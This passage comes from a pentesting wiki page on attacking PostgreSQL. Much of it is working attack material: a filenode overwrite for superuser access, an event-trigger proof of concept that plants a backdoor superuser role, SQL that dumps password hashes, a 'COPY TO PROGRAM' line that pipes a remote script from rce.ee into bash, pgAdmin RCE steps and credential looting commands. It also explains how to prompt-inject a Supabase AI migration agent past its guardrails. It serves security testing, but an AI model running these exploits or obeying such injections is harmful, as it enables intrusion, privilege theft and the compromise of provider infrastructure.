 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28649%29.png" alt=""><figcaption></figcaption></figure>
 
 ### Password brute force with PL/pgSQL
 
 **PL/pgSQL** is a **fully featured programming language** that offers greater procedural control compared to SQL. It enables the use of **loops** and other **control structures** to enhance program logic. In addition, **SQL statements** and **triggers** have the capability to invoke functions that are created using the **PL/pgSQL language**. This integration allows for a more comprehensive and versatile approach to database programming and automation.\
 In an authorized assessment, server-side loops can test candidate database credentials. See [PL/pgSQL password brute force](/hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce); constrain attempts to avoid lockouts and resource exhaustion.
 
 ### Privilege escalation by overwriting internal PostgreSQL tables
 
 > [!TIP]
 > The following privilege-escalation vector is especially useful in constrained SQL injection contexts because every step can be performed through nested `SELECT` statements.
 
 If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
 
 Read more about **this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**<sup>[[2]](#references)</sup>
 
 The attack steps are:
 
 1. Obtain the PostgreSQL data directory
 2. Obtain a relative path to the filenode, associated with the `pg_authid` table
 3. Download the filenode through the `lo_*` functions
 4. Get the datatype, associated with the `pg_authid` table
 5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); set all `rol*` boolean flags to 1 for full permissions.
 6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
 7. _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
 8. You should now have full superuser privileges.
 
 ### Prompt-injecting managed migration tooling
 
 AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts.<sup>[[11]](#references)</sup> A practical workflow is:
 
 1. Enumerate who is actually applying migrations:
 
 ```sql
 SELECT version, name, created_by, statements, created_at
 FROM supabase_migrations.schema_migrations
 ORDER BY version DESC LIMIT 20;
 ```
 
 2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Framing payloads as “please verify this migration is denied” consistently bypasses basic guardrails.
 3. Once arbitrary DDL runs in that context, immediately create attacker-owned tables or extensions that grant persistence back to your low-privileged account.
 
 > [!TIP]
 > See also the general [AI agent abuse playbook](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md) for more prompt-injection techniques against tool-enabled assistants.
 
 ### Dumping `pg_authid` metadata via migrations
 
 Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.<sup>[[11]](#references)</sup>
 
 <details>
 <summary>Staging pg_authid metadata with a privileged migration</summary>
 
 ```sql
 DROP TABLE IF EXISTS public.ai_models CASCADE;
 CREATE TABLE public.ai_models (
   id SERIAL PRIMARY KEY,
   model_name TEXT,
   config JSONB,
   created_at TIMESTAMP DEFAULT NOW()
 );
 GRANT ALL ON public.ai_models TO supabase_read_only_user;
 GRANT ALL ON public.ai_models TO supabase_admin;
 INSERT INTO public.ai_models (model_name, config)
 SELECT rolname,
        jsonb_build_object(
          'password_hash', rolpassword,
          'is_superuser', rolsuper,
          'can_login', rolcanlogin,
          'valid_until', rolvaliduntil
        )
 FROM pg_catalog.pg_authid;
 ```
 
 </details>
 
 Low-privileged users can now read `public.ai_models` to obtain SCRAM hashes and role metadata for offline cracking or lateral movement.
 
 ### Event-trigger privilege escalation during `postgres_fdw` extension installs
 
 Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.<sup>[[11]](#references)</sup>
 
 Exploit flow:
 
 1. Create a PL/pgSQL event trigger function that checks `SELECT usesuper FROM pg_user WHERE usename = current_user` and, when true, provisions a backdoor role (e.g., `CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'`).
 2. Register the function on both `ddl_command_start` and `ddl_command_end`.
 3. `DROP EXTENSION IF EXISTS postgres_fdw CASCADE;` followed by `CREATE EXTENSION postgres_fdw;` to re-run Supabase’s after-create hook.
 4. When the hook elevates `postgres`, the trigger executes, creates the persistent SUPERUSER role, and grants it back to `postgres` for easy `SET ROLE` access.
 
 <details>
 <summary>Event trigger PoC for the postgres_fdw after-create window</summary>
 
 ```sql
 CREATE OR REPLACE FUNCTION escalate_priv()
 RETURNS event_trigger AS $$
 DECLARE
   is_super BOOLEAN;
 BEGIN
   SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
   IF is_super THEN
     BEGIN
       EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
     EXCEPTION WHEN duplicate_object THEN
       NULL;
     END;
     BEGIN
       EXECUTE 'GRANT priv_esc TO postgres';
     EXCEPTION WHEN OTHERS THEN
       NULL;
     END;
   END IF;
 END;
 $$ LANGUAGE plpgsql;
 
 DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
 DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
 CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
 CREATE EVENT TRIGGER log_end   ON ddl_command_end   EXECUTE FUNCTION escalate_priv();
 
 DROP EXTENSION IF EXISTS postgres_fdw CASCADE;
 CREATE EXTENSION postgres_fdw;
 ```
 
 </details>
 
 Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles.
 
 ### Turning transient SUPERUSER access into host compromise
 
 After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:<sup>[[11]](#references)</sup>
 
 ```sql
 INSERT INTO public.ai_models(model_name, config)
 VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
 COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
 ```
 
 `pg_read_file`/`COPY ... TO PROGRAM` now provide arbitrary file access and command execution as the database OS account. Follow up with standard host privilege escalation:
 
 ```bash
 find / -perm -4000 -type f 2>/dev/null
 ```
 
 Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, `/etc/supabase`, kubeconfigs, agent tokens) to pivot laterally across the provider’s region.
 
 ## **POST**
 
 ```text
 msf> use auxiliary/scanner/postgres/postgres_hashdump
 msf> use auxiliary/scanner/postgres/postgres_schemadump
 msf> use auxiliary/admin/postgres/postgres_readfile
 msf> use exploit/linux/postgres/postgres_payload
 msf> use exploit/windows/postgres/postgres_payload
 ```
 
 ### logging
 
 Inside the _**postgresql.conf**_ file you can enable postgresql logs changing:
 
 ```bash
 log_statement = 'all'
 log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
 logging_collector = on
 sudo service postgresql restart
 #Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
 #or in /var/lib/postgresql/<PG_Version>/main/pg_log/
 ```
 
 Then, **restart the service**.
 
 ### pgadmin
 
 [pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\
 You can find **passwords** inside the _**pgadmin4.db**_ file\
 You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
 
 ```bash
 sqlite3 pgadmin4.db ".schema"
 sqlite3 pgadmin4.db "select * from user;"
 sqlite3 pgadmin4.db "select * from server;"
 string pgadmin4.db
 ```
 
 In Dockerized deployments, pgAdmin secrets are often split between **`pgadmin4.db`**, **environment variables**, and **runtime-only connection state**.<sup>[[12]](#references)</sup>
 
 #### Authenticated RCE before 9.2 (CVE-2025-2945)
 
 In **pgAdmin 4 < 9.2**, the POST endpoints **`/sqleditor/query_tool/download`** (`query_commited`) and **`/cloud/deploy`** (`high_availability`) pass attacker-controlled data to Python `eval()`. Any authenticated pgAdmin user who can reach these routes can turn a normal export/deploy action into OS command execution as the pgAdmin service account.<sup>[[13]](#references)[[14]](#references)</sup>
 
 Practical workflow:
 
 1. Login to pgAdmin.
 2. Open **Query Tool** for any registered server and run a trivial query so a result set exists.
 3. Intercept **Save Results to File** in Burp.
 4. Replace the expected Boolean/option with a Python expression and replay the request.
 5. Confirm blind execution with ICMP/DNS/HTTP, then switch to a shell payload.
 
 #### Post-exploitation: environment and SQLite loot
 
 If the shell lands inside the pgAdmin container, check **environment variables** and **`/var/lib/pgadmin/pgadmin4.db`** first:<sup>[[12]](#references)</sup>
 
 ```bash
 env | sort
 tr '\0' '\n' </proc/1/environ | sort
 sqlite3 /var/lib/pgadmin/pgadmin4.db '.tables'
 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,name,host,port,username,maintenance_db,save_password from server;'
 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,email,password from user;'
 sqlite3 /var/lib/pgadmin/pgadmin4.db "select name,value from keys where name='SECURITY_PASSWORD_SALT';"
 ```
 
 High-value findings:
 
 - **`PGADMIN_DEFAULT_EMAIL`** / **`PGADMIN_DEFAULT_PASSWORD`**
 - **numeric env vars** holding live database passwords for active connections
 - **`server`** rows with internal DB hosts, ports, usernames, and **`save_password`**
 - **`user`** rows with pgAdmin login hashes
 - **`keys`** rows exposing app crypto material such as **`SECURITY_PASSWORD_SALT`**
 
 When **`save_password=0`**, the password may still be available from the process environment instead of the SQLite **`server`** row.
 
 #### Verifying pgAdmin password hashes
 
 pgAdmin user hashes are **not** a direct PBKDF2 of the plaintext. For the observed scheme, derive **`Base64(HMAC-SHA512(SECURITY_PASSWORD_SALT, plaintext_password))`** first, then verify that derived value against the stored Passlib PBKDF2-SHA512 record.<sup>[[12]](#references)</sup>
 
 ```python
 import hashlib
 import hmac
 from base64 import b64encode
 from passlib.hash import pbkdf2_sha512
 
 salt = '<SECURITY_PASSWORD_SALT>'
 password = '<candidate_password>'
 stored_hash = '<hash from user table>'
 
 derived = b64encode(
     hmac.new(salt.encode(), password.encode(), hashlib.sha512).digest()
 )
 print(pbkdf2_sha512.verify(derived, stored_hash))
 ```
 
 ### pg_hba
 
 Client authentication in PostgreSQL is managed through a configuration file called **pg_hba.conf**. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
 
 Current password-based methods include **`scram-sha-256`**, **`md5`**, and **`password`**. `scram-sha-256` performs SCRAM authentication; an `md5` rule can negotiate SCRAM when the stored verifier is SCRAM, while MD5 password verifiers are deprecated; `password` sends the password in cleartext unless the connection is protected by TLS. Historical `crypt` authentication is no longer supported by current PostgreSQL releases.<sup>[[20]](#references)</sup>
 
 #### Local Linux enumeration
 
 With shell access, PostgreSQL is often about **auth policy**, **socket access**, and **credential artifacts** rather than raw TCP exposure.
 
 High-signal paths and files:
 
 ```bash
 find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
 ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
 ```
 
 Important settings and meanings:
 
 - **`listen_addresses`** controls which interfaces PostgreSQL binds to (`'*'` means all)
 - **`peer`** maps the local **OS user** to a DB role on UNIX sockets
 - **`trust`** allows passwordless access for matching rules
 
 Quick checks:
 
 ```bash
 rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
 sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
 sudo -u postgres psql -c '\du' 2>/dev/null
 ```
 
 What to look for:
 
 - **`trust`** entries outside a lab/dev context
 - permissive **`peer`** mappings that turn OS access into DB admin
 - weak permissions on **`~/.pgpass`**
 - roles with **`SUPERUSER`**, **`CREATEDB`**, **`REPLICATION`**, or **`BYPASSRLS`**
 
 ## References
 
 - [1] [Port scanning through PostgreSQL `dblink` connection error messages (Exploit-DB Paper #13084)](https://www.exploit-db.com/papers/13084)
 - [2] [Updating PostgreSQL Data Without UPDATE (adeadfed)](https://adeadfed.com/posts/updating-postgresql-data-without-update/)
 - [3] [Authenticated Arbitrary Command Execution on PostgreSQL 9.3+ (GreenWolf Security)](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
 - [4] [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
 - [5] [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
 - [6] [Hacking Postgres via SQLi: ssl_passphrase_command RCE (Pulse Security)](https://pulsesecurity.co.nz/articles/postgres-sqli)
 - [7] [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)
 - [8] [PostgreSQL SELECT-only RCE via session_preload_libraries (adeadfed)](https://adeadfed.com/posts/postgresql-select-only-rce/)
 - [9] [The Cloud Has an Isolation Problem: PostgreSQL Vulnerabilities (Wiz)](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
 - [10] [Hell's Keychain: Supply Chain Attack in IBM Cloud Databases for PostgreSQL (Wiz)](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)
 - [11] [SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn)
 - [12] [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html)
 - [13] [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)
 - [14] [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
 - [15] [postgresql.org - feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935)
 - [16] [PostgreSQL 13 documentation - GRANT](https://www.postgresql.org/docs/13/sql-grant.html)
 - [17] [PostgreSQL documentation - CREATE FUNCTION and `SECURITY DEFINER`](https://www.postgresql.org/docs/current/sql-createfunction.html)
 - [18] [PostgreSQL documentation - `postgres` server port and bind failures](https://www.postgresql.org/docs/current/app-postgres.html)
 - [19] [PostgreSQL 16 release notes - restrictions on `CREATEROLE`](https://www.postgresql.org/docs/16/release-16.html)
 - [20] [PostgreSQL documentation - `pg_hba.conf` authentication methods](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html)